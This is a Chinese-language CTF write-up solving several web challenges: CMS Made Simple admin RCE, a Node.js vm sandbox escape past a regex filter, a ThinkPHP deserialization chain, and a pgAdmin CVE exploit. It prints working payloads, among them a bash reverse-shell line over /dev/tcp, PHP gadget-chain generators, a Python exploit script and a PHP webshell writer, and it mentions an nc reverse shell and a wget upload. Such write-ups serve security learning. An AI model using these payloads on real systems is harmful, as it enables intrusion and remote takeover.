My first CMS
通过搜索CVE得知
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CMS%20Made%20Simple
两个后台RCE
分别是CVE-2024-27623
和CVE-2024-27622
通过忘记密码功能,得到用户名admin
,接着爆破密码
得到密码Admin123
,登陆后台RCE
即可
全世界最简单的CTF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app.use(bodyParser.json()).set('views', path.join(__dirname, 'views')).use(express.static(path.join(__dirname, '/public')))
app.get('/',
function(req, res) {
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if (code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}
app.post('/',
function(req, res) {
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch(e) {
console.log(e.message);
require('./hack');
}
})
app.get('/secret',
function(req, res) {
console.log(process.__filename);
if (process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, () => {
console.log("listen on 3000");
})
|
考察vm
逃逸,以及RCE绕过
参考文章
https://mp.weixin.qq.com/s/G7RQJVYnwa1KdtnzyP32BA
https://www.anquanke.com/post/id/237032
构造出payload
1
2
3
4
5
6
7
8
|
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`${`${`return proces`}s`}`))();
const q = p.mainModule.require(`${`${`child_proces`}s`}`)
return Reflect.get(q, Reflect.ownKeys(q).find(x=>x.includes(`cSync`)))(`bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'`).toString()
}
})
|
用过就是熟悉
user/index/loginSubmit存在反序列化
1
2
3
4
|
//你知道tp吗?
if($data['name']==='guest'){
unserialize(base64_decode($data['password']));
}
|
挖一条链子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<?php
namespace think\process\pipes{
use think\Collection;
class Windows{
private $files = [];
public function __construct(){
$this->files=[new Collection];
}
}
echo base64_encode(serialize(new Windows));
}
namespace think{
class Collection{
protected $items;
public function __construct(){
$this->items = new View;
}
}
class View{
protected $data = [];
public $engine = [];
public function __construct(){
$this->data["Loginout"]=new Debug; #写入tips
$this->engine['time']="10086";
}
}
class Debug{
}
}
?>
|
由于文件名存在随机性,所以需要配合本地docker
同时写入,
1
2
3
4
5
6
7
8
9
10
11
|
import requests
import time
url1 = "http://127.0.0.1:3101/?user/index/loginSubmit"
url2 = "http://89519612-bb1c-465b-921b-d01e8a3ce7e4.node.nkctf.yuzhian.com.cn/?user/index/loginSubmit"
burp0_headers = {"sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"", "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36", "sec-ch-ua-platform": "\"macOS\"", "Origin": "http://localhost:3101", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:3101/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"name": "guest", "password": "TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ=="}
r=requests.post(url1, headers=burp0_headers, data=burp0_data)
r=requests.post(url2, headers=burp0_headers, data=burp0_data)
print(r.status_code)
r=requests.post(url1, headers=burp0_headers, data=burp0_data)
|
得到文件名
7c5d4e0dc66c95954008f97b3f0cf6fa
https://89519612-bb1c-465b-921b-d01e8a3ce7e4.node.nkctf.yuzhian.com.cn/app/controller/user/think/7c5d4e0dc66c95954008f97b3f0cf6f
访问即可得到hint
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
亲爱的Chu0,
我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。
在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。
或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。
<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>
而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。
你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。
或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。
POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close
name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit
hint: 新建文件
|
guest/!@!@!@!@NKCTFChu0
在我的文档
处上传文件,利用链子去包含即可
1
|
<?php system("echo '<?php eval(\$_POST[1]);?>' > /var/www/html/app/1.php");?>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
<?php
namespace think\process\pipes{
use think\Collection;
class Windows{
private $files = [];
public function __construct(){
$this->files=[new Collection];
}
}
echo base64_encode(serialize(new Windows));
}
namespace think{
class Collection{
protected $items;
public function __construct(){
$this->items = new View;
}
}
class View{
protected $data = [];
public $engine = [];
public function __construct(){
$this->data["Loginout"]=new Config;
$this->engine['name']="../../../../../../../../../../../../../../../../var/www/html/data/files/202403/23_fb210ebc/huahua.txt";
// $this->data["Loginout"]=new Debug; #写入tips
// $this->engine['time']="10086";
}
}
class Config{
}
# 写入tips
// class Debug{
// }
}
?>
|
得到flag
attack_tacooooo
tacooooo@qq.com:tacooooo
登陆之后,考察CVE-2024-2044
根据此篇文章复现
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
nc
反弹shell,后找一个linux信息收集脚本找flag
利用wget
上传
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS